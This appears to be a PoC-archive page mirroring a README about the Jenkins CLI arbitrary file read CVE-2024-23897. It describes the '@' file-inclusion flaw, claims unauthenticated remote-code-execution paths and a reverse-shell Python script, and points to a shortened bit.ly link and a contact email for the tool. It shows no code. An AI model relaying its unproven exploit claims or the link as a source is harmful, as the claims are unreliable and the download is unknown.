Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-23897 PoC — Jenkins 安全漏洞

Source
Associated Vulnerability
Title:Jenkins 安全漏洞 (CVE-2024-23897)
Description:Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Description
CVE-2024-23897 jenkins arbitrary file read which leads to unauthenticated RCE
Readme
# CVE-2024-23897-RCE
CVE-2024-23897 is an arbitrary file read vulnerability through the CLI can lead to unauthenticated RCE

## Vulnerability
the jenkins CLI uses the args4j library which has the feature to access a file's content by using @ following the path of file.
which allows and attacker to read any file in the system,
** Attackers with Overall/Read permission can read entire files.
** Attackers without Overall/Read permission can read the first few lines of files
# CONTACT ME:
fr3nta1@proton.me
</p>

[get it here](https://bit.ly/42pnpQa)

## Exploit Steps:
Our goal is to achieve unauthenticated code execution using this vulnerability, which is very straight if we don't consider the limitations which we mentioned above.
</p>WHY?
</p>we don't need to read any file more than the first 2 lines to get what we want (RCE).

## EXPLOIT:
after analysing the possible ways, I can confirm that there are 3 possible and effictive ways of unauthenticated RCE,
which doesn't need any special configuration of the jenkins server or installing any plugins, which means everything we need is in default installation.

* "remember me " cookie
* REDACTED
* REDACTED
Note:
</p>For jenkins installation on windows machine, there is a flaw which I didnt see anyone mentioning it, which you can bypass the restrictions of read permission.
</p> I packed all these inside a simple python script which can trigger the vuln point and pops a reverse shell.
</p>for the bypass of read permission restriction, I wrote a short topic about and a GOLANG script which can bypass the restriction and read entire file (ONLY WINDOWS INSTALLATION OF JENKINS).
</p>as per my own research there are > 70k vulnerable instances out there, (>250k found jenkins and still scanning the internet)

[get it here](https://bit.ly/42pnpQa)
File Snapshot

[4.0K] /data/pocs/eb512b8ca2dca7922236fe8378d01d58d5543245 └── [1.8K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →